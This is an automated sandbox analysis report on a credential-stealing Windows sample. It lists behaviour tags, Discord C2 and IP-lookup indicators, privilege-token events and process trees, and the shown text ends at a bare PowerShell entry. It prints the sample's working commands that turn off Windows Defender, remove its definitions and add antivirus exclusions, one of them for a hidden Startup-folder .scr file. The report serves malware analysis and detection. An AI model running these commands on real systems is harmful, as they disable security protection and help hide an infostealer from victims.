Malware Analysis Report

2024-12-07 19:26

Sample ID 241114-kxcn2awfnd
Target d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7
SHA256 d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7
Tags
upx collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7

Threat Level: Likely malicious

The file d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7 was found to be: Likely malicious.

Malicious Activity Summary

upx collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer

Command and Scripting Interpreter: PowerShell

Loads dropped DLL

Unsecured Credentials: Credentials In Files

Executes dropped EXE

Reads user/profile data of web browsers

Clipboard Data

Obfuscated Files or Information: Command Obfuscation

Accesses cryptocurrency files/wallets, possible credential harvesting

Legitimate hosting services abused for malware hosting/C2

Looks up external IP address via web service

UPX packed file

Enumerates processes with tasklist

System Network Configuration Discovery: Wi-Fi Discovery

Event Triggered Execution: Netsh Helper DLL

Enumerates physical storage devices

Browser Information Discovery

Gathers system information

Detects videocard installed

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-14 08:58

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-14 08:58

Reported

2024-11-14 09:01

Platform

win7-20240729-en

Max time kernel

122s

Max time network

128s

Command Line

"C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe"

Signatures

Processes

C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe

"C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe"

C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe

"C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe"

Network

N/A

Files

memory/2316-23-0x000007FEF6D40000-0x000007FEF71A6000-memory.dmp

\Users\Admin\AppData\Local\Temp\_MEI28882\python310.dll

MD5 4a6afa2200b1918c413d511c5a3c041c
SHA1 39ca3c2b669adac07d4a5eb1b3b79256cfe0c3b3
SHA256 bec187f608507b57cf0475971ba646b8ab42288af8fdcf78bce25f1d8c84b1da
SHA512 dbffb06ffff0542200344ea9863a44a6f1e1b783379e53df18580e697e8204d3911e091deb32a9c94b5599cdd54301b705b74e1f51104151cf13b89d57280a20

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-14 08:58

Reported

2024-11-14 09:01

Platform

win10v2004-20241007-en

Max time kernel

149s

Max time network

157s

Command Line

"C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe"

Signatures

Clipboard Data

collection
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\_MEI21122\rar.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe N/A

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Enumerates processes with tasklist

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A

System Network Configuration Discovery: Wi-Fi Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2112 wrote to memory of 4772 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe
PID 2112 wrote to memory of 4772 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe
PID 4772 wrote to memory of 2104 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 2104 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 4680 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 4680 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 1872 wrote to memory of 704 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1872 wrote to memory of 704 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4680 wrote to memory of 3996 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4680 wrote to memory of 3996 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4772 wrote to memory of 2668 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 2668 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 5100 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 5100 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 5100 wrote to memory of 4072 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 5100 wrote to memory of 4072 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2668 wrote to memory of 2980 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2668 wrote to memory of 2980 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2104 wrote to memory of 2732 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2104 wrote to memory of 2732 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4772 wrote to memory of 3192 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 3192 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 2512 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 2512 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 1344 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 1344 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 5020 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 5020 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 4388 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 4388 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 1748 wrote to memory of 2840 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 2840 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3192 wrote to memory of 3760 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3192 wrote to memory of 3760 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 5020 wrote to memory of 4080 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 5020 wrote to memory of 4080 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 4388 wrote to memory of 3496 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4388 wrote to memory of 3496 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2512 wrote to memory of 4404 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2512 wrote to memory of 4404 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2752 wrote to memory of 3264 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 2752 wrote to memory of 3264 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 1344 wrote to memory of 1980 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 1344 wrote to memory of 1980 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4772 wrote to memory of 3868 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 3868 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 3868 wrote to memory of 4724 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3868 wrote to memory of 4724 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4772 wrote to memory of 4600 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 4600 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 4988 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 4772 wrote to memory of 4988 N/A C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe C:\Windows\system32\cmd.exe
PID 3496 wrote to memory of 5064 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 3496 wrote to memory of 5064 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 4600 wrote to memory of 1248 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4600 wrote to memory of 1248 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4988 wrote to memory of 2176 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4988 wrote to memory of 2176 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com

Processes

C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe

"C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe"

C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe

"C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‌‌.scr'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‌‌.scr'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

